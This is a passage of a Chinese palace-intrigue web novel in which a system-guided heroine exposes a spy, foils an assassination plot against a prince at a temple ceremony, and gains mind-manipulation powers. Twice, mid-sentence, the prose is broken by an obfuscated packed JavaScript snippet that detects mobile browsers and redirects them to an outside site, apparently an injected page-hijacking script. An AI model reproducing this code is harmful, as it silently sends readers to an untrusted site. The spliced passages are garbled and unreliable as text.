突然,绿萼像是察觉到了什么,猛地抬头看向窗户,手中的绢纸瞬间攥紧。赫希立刻往后退了一步,躲进墙角的阴影里——她的动作极快,等绿萼推开窗户探头查看时,只看到空荡荡的庭院,唯有风吹动树叶的沙沙声。 “是我太紧张了吗?”绿萼喃喃自语,关紧窗户,将绢纸重新卷成细条,塞回银镯子的夹层里,又用烛火将镯子烤回原状,这才吹灭蜡烛,躺到床上。 赫希在阴影里待了片刻,确定绿萼已经睡熟,才悄然离开。回到房间后,她没有点灯,而是坐在黑暗中,脑海里快速梳理着刚才听到的碎片信息——祭祀大典、密道、引靖王,这三个词串联起来,不难猜出赵珩的计划:他想在半月后的祭祀大典上,利用密道将萧玦引入陷阱,然后一举杀之。 “祭祀大典……”赫希低声重复着这四个字,眼底闪过一丝锐利,“那可是皇室宗亲齐聚的场合,赵珩倒是敢赌。”她走到梳妆台前,打开抽屉,从里面取出一个小巧的木盒——盒子里放着一枚铜制的令牌,上面刻着一个“赫”字,是她父亲当年在军中的令牌,也是她唯一的念想。 兀统:宿主,虽然我不知道到底是谁和谁有问题,但是我知道宿主没有问题,你只管往前冲吧宿主! 她摩挲着令牌上的纹路,在心中与兀统对话:是萧玦,他现在虽然怀疑绿萼,却还没有实质性的证据,若是能在祭祀大典前,让他发现绿萼与赵珩的直接关联,不仅能彻底清除王府的内奸,还能让他对赵珩的恨意达到顶峰,而这种极致的情绪波动,正是提升病症模拟度的最佳时机。 兀统:那很强了……我的宿主!(大拇指)。赫希:……(大拇指)。 第二日清晨,天刚蒙蒙亮,赫希便被侍女的敲门声吵醒。她换上一身淡粉色的衣裙,头发挽成一个简单的发髻,只插了一支珍珠钗——刻意营造出温婉无害的模样,恰好符合萧玦对她的期待。 刚走出房门,就看到萧玦站在庭院的海棠树下,玄色锦袍外罩了一件墨色的披风,手中拿着一支刚折下的海棠花。见赫希走来,他眼底瞬间泛起温柔的光芒,快步上前,将海棠花插在她的发髻上:“今日的海棠开得正好,配你。” 兀统气愤道:哪里配了!宿主!他说你是没用的花!只供人远观又只能被他折下…… 赫希:……他想表达的不仅是这个意思。 赫希低头没有回应兀统的话,看着发间的海棠花,嘴角露出一个浅浅的笑容对着萧坱道:“谢谢殿下,只是可惜了这花,摘下来很快就会谢了。” “没关系,”萧玦的指尖轻轻碰了碰花瓣,语气带着几分偏执,“明日我让花匠把这棵海棠移栽到你窗下,让它天天开给你看。若是谢了,就再种新的,总有一朵是新鲜的。” 赫希心中一动,他总是这样,用最霸道的方式表达“在意”,却从不在意对方是否真的需要。她没有反驳,只是顺着他的话说道:“那我可要等着殿下的海棠了。” 两人正说着,绿萼端着早餐走了过来,脚步有些虚浮,眼底带着明显的黑眼圈——显然是昨夜没睡好。她将托盘放在石桌上,低着头,声音细若蚊蚋:“赫姑娘,殿下,早餐备好了。” 赫希的目光落在绿萼的手腕上,那只银镯子依旧戴在那里,只是位置比昨日低了些,似乎是刻意想遮住内侧的“赵”字。她不动声色地拿起筷子,夹了一块桂花糕,状似无意地说道:“绿萼,你这镯子戴了有些日子了吧?我瞧着好像松了,小心别掉了。” 绿萼的身子猛地一僵,下意识地用另一只手捂住镯子,声音带着几分慌乱:“谢、谢谢姑娘提醒,奴婢会小心的。” 萧玦的目光也随之落在绿萼的镯子上,眼底闪过一丝锐利——昨日赫希提及镯子上的“赵”字后,他便让人去查绿萼的底细,得知她是半年前通过东宫的人介绍进府的,当时他只当是巧合,可现在看来,这绝非巧合。 “你的镯子,”萧玦的声音突然变得冰冷,“是东宫的人送你的?” 绿萼的脸色瞬间变得惨白,扑通一声跪倒在地,声音带着哭腔:“殿下饶命!奴婢……奴婢不知道这镯子是东宫的,是奴婢一个远房亲戚送的,奴婢真的不知道!” 赫希看着绿萼惊慌失措的模样,心中冷笑,暗道:演技倒是不错,可惜在人偶之眼面前,所有的伪装都是徒劳。她能清晰地“看”到,绿萼周身的浅蓝色雾气中,“恐惧”与“谎言”的灰色雾气交织在一起,几乎要将她整个人吞噬。 “不知道?”萧玦的脚踩在绿萼的手腕旁,只要再用力一点,就能将那只镯子碾碎,“本王的人查到,你进府前,曾去东宫见了赵珩的谋士,你敢说这也是巧合?” 绿萼的眼泪像断了线的珠子般滚落,身体抖得像筛糠:“殿下,奴婢真的是被冤枉的!那个远房亲戚说只要我进府后帮他留意姑娘的动向,就给我爹娘治病的钱,奴婢不知道他是东宫的人啊!求殿下饶了奴婢,奴婢再也不敢了!” 她故意将“留意赫希动向”说成是为了给爹娘治病,避重就轻地隐瞒了传递密信的事,可这说辞在萧玦听来,却更加印证了她是赵珩眼线的事实——在他眼中,任何试图靠近赫希、监视赫希的人,都是该死的。 萧玦的眼底闪过一丝杀意,正要下令将绿萼拖下去,却被赫希拉住了手臂:“殿下,算了吧。” 萧玦回头,看着赫希眼底的“不忍”,眉头皱了皱:“希儿,她是赵珩的人,留着她只会对你不利。” “可她也是被逼的,”赫希的声音带着几分温柔,“她的爹娘还在等着她拿钱治病,若是杀了她,她的爹娘也活不成了。不如……就把她贬去杂役房,让她做些粗活,也好让她反省反省。”她刻意表现出“善良”,既是为了符合人设,也是为了留下绿萼——毕竟,绿萼是她手中唯一能直接接触到赵珩计划的棋子,现在还不能杀。 萧玦看着赫希眼底的水光,心中的杀意渐渐褪去,取而代之的是对她的怜惜:“好,都听你的。”他对着门外喊道,“来人,把绿萼贬去杂役房,没有我的命令,不准她靠近这个院子半步!” “是,殿下!”两名侍卫走进来,架起还在哭哭啼啼的绿萼,拖了出去。 庭院里重新恢复安静,萧玦转身,将赫希揽入怀中:“委屈你了,要为这种人求情。” 赫希靠在他的胸膛,嘴角勾起一抹不易察觉的弧度:“殿下,我只是觉得,每个人都有不得已的苦衷。再说,有你在,我不怕她会伤害我。”这句“有你在”,恰好戳中了萧玦的软肋,让他瞬间忘记了刚才的不快,只剩下被依赖的满足感。 午时,赫希借着“散步”的名义,来到杂役房附近。杂役房的院子里,绿萼正被其他侍女推搡着,打扫着满院的落叶——显然,她被贬到这里后,成了众人欺负的对象。 赫希站在院外的槐树下,人偶之眼开启,看着绿萼眼底的“愤怒”与“不甘”,以及她悄悄摩挲银镯子的动作。她知道,绿萼不会甘心待在这里,必然会想办法联系赵珩的人,传递祭祀大典的最终计划。 果然,没过多久,一个穿着粗布衣服的老妇人提着一个食盒走进杂役房,说是绿萼的“远房姨母”。赫希的目光落在老妇人的腰间——那里挂着一个与绿萼同款的银镯子,只是内侧没有“赵”字,反而刻着一个“东”字。 绿萼看到老妇人,眼睛一亮,借口“吃饭”,跟着她走进了杂役房的小厨房。赫希悄悄绕到厨房窗外,透过缝隙,看到绿萼正将银镯子递给老妇人,压低声音说道:“姨母,殿下已经怀疑我了,祭祀大典的计划……” 老妇人接过镯子,从里面取出绢纸,快速看完后,又从食盒里拿出一张新的绢纸,塞回镯子夹层:“二皇子说了,让你在祭祀大典当日,想办法把靖王引到东宫密道的入口,就在太庙东侧的银杏树下,那里有一块松动的青砖,搬开就能看到密道。只要靖王进了密道,里面的人会处理好一切。” “可我现在被看管着,根本靠近不了殿下和太庙啊!”绿萼的声音带着几分绝望。 “二皇子自有安排,”老妇人拍了拍她的肩膀,“明日会有人来接你,假装是‘调去太庙帮忙准备祭祀’,到时候你只要按计划行事就行。记住,若是失败,你爹娘……” “我知道了!”绿萼猛地打断老妇人的话,眼底闪过一丝狠戾,“我一定会成功的!” 老妇人满意地点点头,收起镯子,递给绿萼一个油纸包:“这是二皇子给你的,说你若是遇到危险,就把这个吃了,能保你一命。” 绿萼接过油纸包,紧紧攥在手中,像是抓住了最后一根救命稻草。 赫希在窗外听得一清二楚,眼底闪过一丝冷光。赵珩倒是考虑周全,连“后路”都给绿萼准备好了,可惜,这后路怕是一条死路。她悄悄退开,回到自己的院子,刚进门,就看到萧玦坐在梳妆台前,手中拿着她昨日摔碎的瓷碗碎片。 “去哪了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16502577|186019||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?”萧玦的声音带着几分不易察觉的紧张,“我回来没看到你,还以为……” “以为我出事了?”赫希笑着走到他身边,拿起一片碎片,“我就是在院子里散了散步,看到杂役房那边挺热闹的,就多看了两眼。” 萧玦的目光落在她的脸上,似乎想从她眼中找到一丝谎言,可最终还是被她的笑容打败:“以后别去那种地方,乱得很,万一伤到你怎么办?”他将碎片放在桌上,起身从衣柜里取出一件狐裘披风,披在赫希身上,“天凉了,别冻着。” 赫希低头,看着身上的狐裘——这是萧玦上个月让人从关外送来的,整张狐皮没有一丝瑕疵,价值连城。可在她眼中,这不过是他用来捆绑她的“金丝”,看似温暖,实则冰冷。 “殿下,”赫希突然开口,状似无意地说道,“明日是不是要派人去太庙帮忙准备祭祀大典?我听侍女说,每年这个时候,王府都会派些手脚麻利的侍女去帮忙。” 萧玦点点头:“嗯,已经安排好了,让张嬷嬷带着几个侍女去。怎么了?你想去?” “不是,”赫希摇了摇头,“我就是觉得,绿萼虽然犯了错,可手脚还算麻利,若是让她去太庙帮忙,说不定能将功补过。而且……”她顿了顿,故意露出一副担忧的模样,“我总觉得,这次祭祀大典不会太太平,多个人手,也能多份照应。” 萧玦的眉头皱了皱,因为他不喜欢赫希提及绿萼,更不希望绿萼有机会靠近太庙这种重要场合。可看着赫希眼底的“担忧”,他又无法拒绝:“你想让她去?” “只是随口一提,”赫希垂下眼帘,声音带着几分委屈,“若是殿下觉得不妥,当我没说。” 萧玦看着她这副模样,心中的犹豫瞬间被击溃:“好,就按你说的办。明日让绿萼跟着张嬷嬷去太庙,不过我会派暗卫盯着她,若是她敢耍花招,立刻处置。” 赫希心中一喜,面上却依旧是那副柔弱的模样:“谢谢殿下,我就知道你最懂我。” 萧玦的指尖捏了捏她的下巴,眼底满是宠溺:“傻瓜,我不疼你,疼谁?” 兀统:……宿主你,你们……? 赫希:嘻嘻,基操勿6 接下来的几日,赫希一边假意陪伴萧玦,一边通过人偶之眼监视绿萼的动向。她看到绿萼偷偷与赵珩的人接触,看到她将太庙的布局图藏进银镯子,也看到她眼底日益浓烈的“杀意”与“绝望”。显然,她知道自己此行多半是有去无回,可为了爹娘,她只能硬着头皮往前走。 祭祀大典当日,天还未亮,靖王府的车队便朝着太庙的方向驶去。赫希坐在马车内,身上披着萧玦给的狐裘,手中拿着一本诗集,看似悠闲,实则人偶之眼早已开启,密切关注着周围的动静。 她能看到,街道两旁的人群中,藏着不少赵珩的眼线,他们的腰间都挂着同款的银镯子,像是一张无形的网,将整个车队包围。 萧玦坐在她身边,手中把玩着一枚玉佩,眼底却藏着一丝不易察觉的警惕——他虽然答应了赫希让绿萼去太庙,却早已暗中布下了天罗地网,只要赵珩敢动手,他就能让对方有来无回。 车队抵达太庙时,文武百官早已等候在门口。赵珩穿着一身明黄色的世子服,站在百官之首,看到萧玦和赫希下车,脸上露出一副虚伪的笑容:“七弟,弟妹,你们可算来了,父皇还在里面等着呢。” 萧玦没有理会他的示好,只是紧紧牵着赫希的手,语气冰冷:“有劳二皇兄费心。” 赫希对着赵珩微微屈膝行礼,目光却在他周身扫过,人偶之眼清晰地“看”到,赵珩的眼底藏着浓烈的“杀意”,周身的紫色雾气中,夹杂着“兴奋”与“紧张”,显然是对今日的计划志在必得。 进入太庙后,绿萼跟着张嬷嬷去了偏殿准备祭祀用品。赫希借口“去偏殿看看”,悄悄跟了过去。偏殿内,绿萼正趁着张嬷嬷不注意,将一块松动的青砖撬起,那正是老妇人所说的密道入口。她从银镯子中取出绢纸,快速看了一眼,然后将绢纸塞进密道,又将青砖恢复原状。 赫希躲在门外,将这一切尽收眼底。她没有立刻揭穿,而是转身回到大殿,走到萧玦身边,低声说道:“殿下,我刚才去偏殿,看到绿萼在偷偷撬地砖,好像在藏什么东西。” 萧玦的瞳孔微微收缩,眼底瞬间闪过一丝杀意:“你确定?” “嗯,”赫希点点头,声音带着几分紧张,“我看得清清楚楚,她还从镯子里面拿了一张纸,塞进了地砖下面。” 萧玦没有犹豫,立刻对身边的暗卫使了个眼色。暗卫会意,悄无声息地朝着偏殿的方向走去。 没过多久,暗卫便带着绿萼和那张绢纸回来。绿萼的脸色惨白,浑身发抖,看到萧玦手中的绢纸,瞬间瘫倒在地:“殿下,我错了!是二皇子逼我的!他用我爹娘的性命威胁我,让我把您引到密道里,我真的没办法啊!” 赵珩站在一旁,听到绿萼的话,脸色瞬间变得难看:“你胡说八道什么!本王什么时候逼你了?” “我没有胡说!”绿萼猛地抬起头,眼底满是绝望,“是你让老妇人给我传信,让我把靖王引到太庙东侧的银杏树下,那里有密道,里面还有你的人!这张绢纸上写的都是你的计划,你还想狡辩!” 17. 斯德哥尔摩综合症图鉴5 萧玦将绢纸展开,递到文武百官面前,声音冰冷如铁:“大家都看看,这就是二皇兄的‘良苦用心’——勾结漠北,意图在祭祀大典上刺杀本王,还要借赫希的性命做诱饵,如此狼子野心,简直枉为人臣、枉为皇子!” 绢纸上的字迹清晰可见,“三月后漠北突袭雁门关”“引靖王入密道伏杀”“除赫氏余孽以乱其心”等字眼,让在场的官员们瞬间炸开了锅。议论声、倒抽冷气声此起彼伏,所有人的目光都集中在赵珩身上,带着震惊与鄙夷。 赵珩的脸色由白转青,又由青转紫,他猛地上前一步,想要抢夺绢纸:“这是伪造的!是你陷害我,萧玦!你为了储位,竟然不惜编造这种谎言,你对得起父皇,对得起列祖列宗吗?” “伪造?”萧玦冷笑一声,侧身避开他的抢夺,“绿萼就在这里,她的银镯子是东宫特制的密信工具,方才暗卫从密道里搜出的杀手,此刻正在殿外候着,二皇兄还要狡辩吗?” 话音刚落,两名暗卫押着几个穿着黑衣、蒙着脸的人走进大殿。他们手中的弯刀上还沾着血迹,腰间挂着的令牌,正是东宫侍卫的标识。其中一人被扯下蒙面布,竟是赵珩的贴身侍卫长! “侍卫长!”有官员认出了他,惊呼出声。 赵珩的身体晃了晃,险些栽倒在地。他看着侍卫长,嘴唇颤抖着,却说不出一句话——证据确凿,他再怎么狡辩,也无济于事。 就在这时,太庙外传来一阵急促的脚步声,皇帝的贴身太监尖着嗓子喊道:“陛下驾到——” 所有人立刻躬身行礼,连大气都不敢喘。皇帝穿着一身衮龙袍,脸色阴沉地走进大殿,目光扫过混乱的场面,最后落在萧玦手中的绢纸上:“怎么回事?祭祀大典,为何如此喧哗?” 萧玦将绢纸递给皇帝,声音恭敬却带着不容置疑的坚定:“父皇,儿臣有事启奏。二皇兄赵珩勾结漠北,意图谋反,不仅计划在三月后引漠北骑兵突袭雁门关,还想在今日的祭祀大典上刺杀儿臣,用赫希的性命做诱饵。儿臣已经掌握了确凿证据,还请父皇做主!” 皇帝接过绢纸,越看脸色越沉,手中的绢纸被他攥得皱成一团。他抬起头,目光如刀般落在赵珩身上:“逆子!你可知罪?” 赵珩“扑通”一声跪倒在地,眼泪瞬间涌了出来:“父皇,儿臣是被冤枉的!是萧玦陷害我,他想夺我的储位,所以编造了这些谎言!求父皇明察!” “明察?”皇帝将绢纸扔在他脸上,“人证物证俱在,你还敢狡辩!朕早就告诫过你,要安分守己,可你偏偏不听,竟然勾结外敌,谋害兄弟,你这样的逆子,留你何用?” 皇帝的怒吼声在大殿内回荡,赵珩吓得浑身发抖,却依旧不肯认罪:“父皇,儿臣真的是被冤枉的!是绿萼!是她诬陷我!她收了萧玦的好处,所以才编造这些谎言来害我!” 绿萼听到这话,猛地抬起头,眼底满是愤怒与绝望:“二皇子,你怎么能这么说!是你用我爹娘的性命威胁我,让我做这些事的!现在出了事,你竟然想把所有罪责都推到我身上!我就是做鬼,也不会放过你!” 她说着,突然从怀中掏出那个油纸包,打开后,里面是一包白色的粉末。不等众人反应过来,她便将粉末往嘴里塞去——那是赵珩给她的“后路”,说是能保她一命,可她此刻才明白,那根本就是毒药! “不要!”赫希下意识地喊了一声,人偶之眼清晰地“看”到,绿萼周身的雾气瞬间变成了浓郁的黑色,那是“死亡”的气息。 可已经晚了,绿萼吞下粉末后,嘴角立刻溢出了黑色的血,她倒在地上,身体抽搐了几下,便没了动静。临死前,她的目光死死地盯着赵珩,带着无尽的恨意。 大殿内一片死寂,所有人都被这突如其来的变故惊呆了。皇帝看着地上的尸体,脸色铁青,指着赵珩,气得说不出话:“你……你……” 萧玦上前一步,扶住皇帝,声音沉稳:“父皇,息怒。二皇兄犯下如此大错,理当交由大理寺审讯,查明所有真相,以正国法。” 皇帝深吸一口气,点了点头:“好!就按你说的办!来人,把赵珩拿下,打入天牢,彻查此事,凡是与他勾结的人,一个都不能放过!” 侍卫们立刻上前,将还在挣扎的赵珩押了下去。赵珩的惨叫声在大殿内回荡,却没有人同情他,勾结外敌、谋害兄弟,这样的罪行,无论放在谁身上,都是死路一条。 一场原本庄严的祭祀大典,最终以这样惨烈的方式收场。官员们散去后,大殿内只剩下萧玦、赫希和皇帝三人。皇帝看着萧玦,眼神复杂:“玦儿,今日之事,多亏了你。若不是你及时发现,后果不堪设想。” “父皇严重了,”萧玦躬身行礼,“儿臣只是做了分内之事。保护父皇,保护大靖的江山,是儿臣的职责。” 皇帝点了点头,目光落在赫希身上,带着几分审视:“赫希,今日之事,你也受惊了。这些日子,多亏你在玦儿身边,帮了他不少忙。” 赫希连忙躬身行礼,声音温和:“陛下谬赞,民女只是做了些微不足道的小事,不敢居功。” 皇帝笑了笑,拍了拍萧玦的肩膀:“玦儿,你能有这样一位聪慧、懂事的王妃,是你的福气。好好待她,莫要辜负了她。” 萧玦握住赫希的手,眼底满是温柔:“父皇放心,儿臣一定会好好待她,此生绝不负她。” 赫希靠在萧玦身边,脸上露出一副温顺的笑容,可眼底却闪过一丝不易察觉的冷光。赵珩倒了,萧玦最大的对手没了,接下来,他的病症会发生怎样的变化?而她的病症模拟度,又能提升多少? 离开太庙后,马车缓缓驶回靖王府。车内,萧玦将赫希揽在怀中,手指轻轻抚摸着她的头发,声音带着几分疲惫,却又透着如释重负的轻松:“希儿,都结束了。以后,再也没有人能伤害你了。” 赫希抬起头,看着他眼底的温柔,心中却没有丝毫波澜。对她而言,这不是结束,而是新的开始。她伸出手,轻轻抚摸着萧玦的脸颊,人偶之眼悄然开启——她能清晰地“看”到,萧玦周身的深紫色雾气中,“偏执”与“占有欲”的浓度虽然有所降低,却依旧存在,而且多了一丝“野心”的金色雾气。 “殿下,”赫希的声音带着几分温柔,“以后,你打算怎么办?赵珩倒了,储位之争,怕是会更加激烈。” 萧玦的眼神变得锐利起来,嘴角勾起一抹自信的笑容:“储位?那本来就该是我的。这些年,我隐忍不发,就是为了等待一个合适的时机。现在,时机到了,我不会再错过。希希,等我登上皇位,就立你为后,让你成为这大靖最尊贵的女人,好不好?” 赫希心中冷笑,面上却露出一副憧憬的模样:“好,我等着殿下。只是,殿下一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16502578|186019||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 定要注意安全,别为了这些事,伤了自己的身体。” “放心,”萧玦捏了捏她的下巴,“我不会让自己有事的。为了你,我也要好好活着,陪你看遍这世间的风景。” 马车驶进靖王府,停在庭院门口。萧玦牵着赫希的手,走进院子。庭院里的海棠花依旧开得正好,只是经过今日之事,这满园的春色,似乎也染上了一丝血腥气。 回到房间后,萧玦去了书房处理后续的事宜,赫希则独自一人留在房间里。她走到梳妆台前,打开抽屉,取出那个装着“赫”字令牌的木盒。她摩挲着令牌上的纹路,脑海里快速梳理着今日发生的一切……赵珩的倒台,萧玦的崛起,皇帝的态度,以及那些隐藏在暗处的势力。 突然,她的指尖顿了顿,她想起了影一。今日之事,影一自始至终都没有出现,这很反常。按照以往的惯例,如此重大的场合,影一必然会寸步不离地跟在萧玦身边,可今日,他却消失了。 “影一……”赫希低声呢喃,眼底闪过一丝疑惑,“他到底去了哪里?难道他真的和赵珩有勾结?还是说,他有别的秘密?” 她走到窗边,人偶之眼再次开启,目光扫过庭院的每一个角落,却始终没有看到影一的身影。她皱了皱眉,心中升起一丝不安,影一作为萧玦最信任的暗卫统领,掌握着萧玦很多的秘密。若是他真的有问题,那对萧玦,对她的病症模拟计划,都将是一个巨大的威胁。 就在这时,门外传来轻轻的敲门声,侍女的声音响起:“赫姑娘,殿下让您去书房一趟,说是有要事与您商议。” 赫希收起思绪,将木盒放回抽屉,整理了一下衣裙,对着门外说道:“知道了,我马上就来。” 她走到门口,深吸一口气,脸上重新换上那副温顺的笑容,不管影一有什么秘密,不管接下来会发生什么,她都必须保持冷静,继续收集萧玦的情绪碎片,直到完成最终的病症模拟。 书房内,萧玦正坐在书桌前,看着一份密报。见赫希走进来,他抬起头,招手让她过去:“希儿,你来得正好。你看这份密报,是影一送来的,他说赵珩在江南还有一批隐藏的势力,想要趁机作乱,他已经带人去江南追查了。” 赫希接过密报,快速看了一眼密报上的字迹发现确实是影一的,其中的内容详细地说明了赵珩在江南的势力分布,以及影一的行动计划。 “原来如此,”赫希放下密报,心中的疑惑稍稍减轻,“那影一什么时候能回来?江南那边凶险,他一个人去,会不会有危险?” 萧玦笑了笑,握住她的手:“放心,影一的能力,我还是信得过的。他很快就能回来。再说,我已经派了不少暗卫跟着他,不会让他出事的。” 赫希点了点头,没有再追问。她知道,现在不是纠结影一的时候,她需要做的,是继续留在萧玦身边,观察他的情绪变化,提升病症模拟度。 夜色渐深,书房里的烛火摇曳,映着两人的身影。萧玦低头看着手中的密报,眼底闪烁着野心的光芒;而赫希站在他身边,看似温顺,实则在用人偶之眼,一点点捕捉着他情绪的碎片,编织着属于自己的计划。 大靖的朝堂,就像一个巨大的漩涡,所有人都被卷入其中,无法自拔。而赫希知道,她要做的,不是逃离这个漩涡,而是成为漩涡的中心,掌控一切,直到完成那个属于她的、冰冷的任务。 18. 斯德哥尔摩综合症图鉴6 萧玦成为储君的第三十日,东宫暖阁的鎏金栅栏终于彻底封死了最后一丝向外的视线。赫希指尖划过冰凉的金属,能清晰感受到暗卫在栅栏外巡逻的脚步声,每一步都像是敲在她模拟任务的倒计时上。萧玦最近愈发频繁地将政务搬回暖阁处理,案几上的奏折堆得像小山,他却总在批阅到一半时,突然起身走到赫希身边,将她紧紧圈在怀中,下巴抵在她的发顶,呼吸间满是龙涎香与墨香混合的味道。 “希儿,你看这份奏折,”萧玦的指尖划过纸上的字迹,声音带着一丝不易察觉的炫耀,“户部尚书请求拨款修缮黄河堤坝,我准了。等我登基后,就带你去黄河边看看,那里的落日比京城里的好看得多。” 赫希靠在他的胸膛,感受着他胸腔里平稳的心跳,人偶之眼悄然开启,萧玦周身的深紫色雾气中,“野心”的金色丝线越来越粗,与“占有欲”缠绕在一起,形成一张密不透风的网。她知道,这是萧玦偏执症发展的必然结果,权力的膨胀只会让他更加恐惧失去,而这种极致的情绪波动,正是她病症模拟度最后5%的关键拼图。 “殿下真好,”赫希的声音放得又软又糯,指尖轻轻划过他腰间的玉带,“只是处理这么多政务,殿下会不会太累了?不如歇一会儿,我给你泡杯茶?” 萧玦低头,看着她眼底的“温顺”,嘴角勾起一抹满足的笑容:“有你在,我就不累。不过,我想喝你亲手泡的雨前龙井。” 赫希起身走向茶桌,动作优雅地煮水、温杯、投茶。她的余光扫过萧玦案几上的一份密报,边角处露出“赵瑜余党”“赫希”等字眼。她知道,萧玦从未真正放下对赵瑜残部的警惕,而她,正是萧玦最大的“软肋”,也是那些人眼中最好的突破口。 果然,当夜三更,暖阁外突然传来一阵急促的脚步声,伴随着暗卫压低的喝问声。萧玦猛地从梦中惊醒,一把将赫希护在身后,手中瞬间握住了床头的匕首,眼底的睡意瞬间被猩红的疯狂取代:“怎么回事?!” 暗卫统领推门而入,单膝跪地,声音带着几分慌乱:“殿下,方才我们在东宫墙角发现了一具尸体,是赵瑜的贴身侍卫,他手中攥着一张密信,上面写着……写着要在三日后的先帝祭典上,用赫姑娘的性命要挟您!” 萧玦一把夺过密信,快速扫过上面的字迹,深紫色的雾气几乎要将整个暖阁吞噬。他猛地转身,一把将赫希按在墙上,手臂死死箍住她的腰,力道大得让赫希几乎喘不过气:“他们都想碰你!都想利用你!”萧玦的声音带着歇斯底里的嘶吼,匕首“哐当”一声掉在地上,他的双手死死抓住赫希的肩膀,指甲几乎要嵌进她的皮肉里,“希儿,不如我把所有见过你的人都杀了!把那些还敢惦记你的余党,还有朝堂上那些对你虎视眈眈的老东西,全都杀了!这样,你就永远只能看着我一个人,永远不会离开我了!” 赫希能清晰地感受到萧玦身体的颤抖,闻到他身上突然弥漫开的血腥气,那是他情绪激动时,体内潜藏的暗伤被引发的征兆。就在这时,她的人偶之眼突然爆发出刺眼的瓷白色光晕,脑海中传来一阵剧烈的轰鸣,两段截然不同的记忆碎片如潮水般汹涌而入。 第一段记忆里,穿着粉色校服的少女跪在冰冷的血泊中,双手紧紧攥着一个少年的衣角,脸上溅着暗红的血点,眼神却带着诡异的痴迷与甜腻:“阿雪,他们都想分开我们,对不对?没关系,我已经把他们都杀了,以后再也没有人能打扰我们了。只要能留在你身边,我可以做任何事,哪怕是变成怪物也没关系。”那是《未来日记》中我妻由乃的执念,是将爱意彻底扭曲成占有与毁灭的疯狂,是哪怕焚烧整个世界,也要守住心中唯一执念的偏执。 第二段记忆里,身着黑色哥特式礼服的蔷薇少女悬浮在破碎的废墟之上,银色的长发在风中飞舞,指尖缠绕着泛着寒光的精神丝线。她看着下方试图靠近自己守护之人的敌人,嘴角勾起一抹病态的笑容,声音冰冷如霜:“你以为你能伤害他?真是天真。凡是想碰他的人,都会被我的荆棘撕碎,连灵魂都不会剩下。”这是《蔷薇少女》中水银灯的守护,是用精神操控构建的绝对领域,是将脆弱与强大交织,用荆棘与丝线编织出的、不容侵犯的守护圈。 当赫希从这两段记忆中回过神时,她的指尖已经缠绕上了淡紫色的精神丝线,丝线在烛光下泛着细微的光泽,如同有生命般轻轻蠕动。她的眼底,除了人偶之眼原本的瓷白色光晕,还多了一抹蔷薇般的暗粉色,两种颜色交织在一起,形成一种既妖异又冰冷的美感——病症模拟度100%的瞬间,她成功觉醒了这两种带有斯德哥尔摩综合征特质的角色能力。 我妻由乃的“执念共鸣”能力,让她能够精准捕捉到他人内心深处最强烈的执念,甚至通过情绪共鸣,将这份执念无限放大,同时让自己在极端环境下保持绝对的冷静与理智,如同我妻由乃般,能在疯狂的执念中找到最利于自己的生存方式。 而水银灯的“精神荆棘”能力,则赋予她凝聚有形精神力量的能力,她可以将精神力化作带有倒刺的蔷薇荆棘,既能通过触碰悄无声息地影响他人的情绪与意识,让对方在不知不觉中被她操控,也能让荆棘化作锋利的武器,在需要时给予敌人致命一击,更能编织出无形的精神牢笼,将目标牢牢困在其中。 萧玦还在疯狂地诉说着他的恐惧与杀意,赫希却缓缓抬起手,指尖的精神丝线轻轻划过他的脸颊。水银灯的“精神操控”能力悄然发动,一丝温和的“安心”情绪顺着丝线,悄无声息地传入萧玦的意识中。 萧玦箍着赫希的手臂渐渐放松,眼底的猩红与疯狂如同被潮水淹没般,慢慢褪去,取而代之的是一种近乎孩童般的委屈。他松开抓住赫希肩膀的手,转而紧紧抱住她,声音带着哭腔:“希儿,别离开我,好不好?我真的好害怕,害怕你像那些人说的一样,被他们抓走,害怕再也见不到你。我只有你了,你不能走。” “我不会离开你,”赫希的声音染上了一丝我妻由乃式的甜腻,却又带着水银灯般的冷静,她的指尖轻轻描摹着萧玦的眉眼,动作温柔得像是在触碰一件易碎的珍宝,“但你不能再用杀戮来掩盖你的恐惧,萧玦。你是未来的帝王,是要站在金銮殿上接受万民朝拜的人,你要做让我骄傲的君主,而不是被执念困住的囚徒。” 萧玦像是被蛊惑般,用力点头,将脸埋在赫希的颈窝,呼吸渐渐平稳下来:“好,我听你的。我不杀他们,我要做让你骄傲的君主。只要你不离开我,我什么都愿意做。” 赫希靠在萧玦的胸膛,嘴角勾起一抹冰冷的弧度。她能清晰地感受到,萧玦的执念已经完全被她的“执念共鸣”所捕捉,只要她愿意,随时可以将这份执念引向任何方向。这两种觉醒的能力,不仅是她完成模拟任务的“奖励”,更是她打破萧玦构建的金丝笼,掌控自己命运的最强利刃。 接下来的日子,赫希开始不动声色地运用这两种能力,在东宫与朝堂之间编织属于自己的网。 她利用我妻由乃的“执念共鸣”,在萧玦处理政务时,悄悄强化他“只有让赫希过上安稳生活,自己的人生才有意义”的念头。每当萧玦因为朝臣的反对而暴怒,想要下令严惩时,赫希就会轻轻握住他的手,通过“执念共鸣”将“赫希希望你成为仁君”的念头植入他的意识,让他渐渐放下那些极端的掌控手段。 